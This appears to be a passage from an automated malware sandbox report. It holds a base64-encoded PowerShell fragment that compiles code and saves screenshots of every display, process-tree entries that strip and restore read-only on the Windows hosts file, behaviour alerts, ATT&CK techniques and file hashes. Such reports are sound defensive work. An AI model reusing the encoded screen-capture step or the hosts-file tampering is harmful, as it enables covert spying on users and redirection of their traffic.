AC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z2jqnmzm\z2jqnmzm.cmdline"3⤵PID:2224
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C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:4428
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C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5028
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
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Filesize
944B
MD5e59140d6693b6a0f6a8617b45bdef9fe
SHA17157a22b2533d10fe8ed91d2c5782b44c79bbcde
SHA256baeb07292d7c8d7ba665a29178999ea08d4b26e8d05bb29c6dee8b8dad8de27e
SHA512117494cb9415e968827ec38ff11fe6eb4781a76476a2a580f08c5f2d5d4f7ccac425dfd81c16536342a32b42a7b3dffdf471dd2666b1a11ded9f57108c6df7b7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
9.8MB
MD5723849fc46caf8f8dbf447ac050b8c31
SHA1fc29e9028c005f3bc71e31b71f1aedd427ac5b7b
SHA256ec2194ba8928a1ccf8bf098d23e25ff971b1e48db67bcf7417119aee667c93cc
SHA512229435357b7f4d90756a457cfe2d21c8a2d819723745a2fd0d0f120a6560832e92706814cb8eaeb615bbe13cb8b6cf6446f2309e3ac63f517627d6b5f1a3f2cf
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Filesize
2KB
MD56e2386469072b80f18d5722d07afdc0b
SHA1032d13e364833d7276fcab8a5b2759e79182880f
SHA256ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
SHA512e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
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Filesize
989B
MD5e05565544d17d446f3e0532be5cb77db
SHA1c931aa2ac27c293d36505523b198844d4d8a3524
SHA25605f2a75e88e7ba4622f80a8b22ee83bae77de6853eb95c3e43f269e32d261509
SHA512046970d59cd2a0321d45d23122e4cfa3cc460cee399183efc583a5abfcf51eb76488ac87cce4ff2bad2ab54d417231473556f50866adcab6787995dbbb04c68d
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Filesize
607B
MD54d453c26c004b3bdb80e69d0b3661429
SHA18f985d393a54af430bb1aa1bb911678b153e740f
SHA256a897aef5fd196a1587668786b08cf0c661ccc3974c1832bff6775c9282be4745
SHA51229d80d442f3dd9d5d0b55e0583b20eec0456cca3d4a9a0805b5cc72f39486d9155479392aa7dd91fa8c20e17537bd3a068a045f995bf16572639bf893fb37f28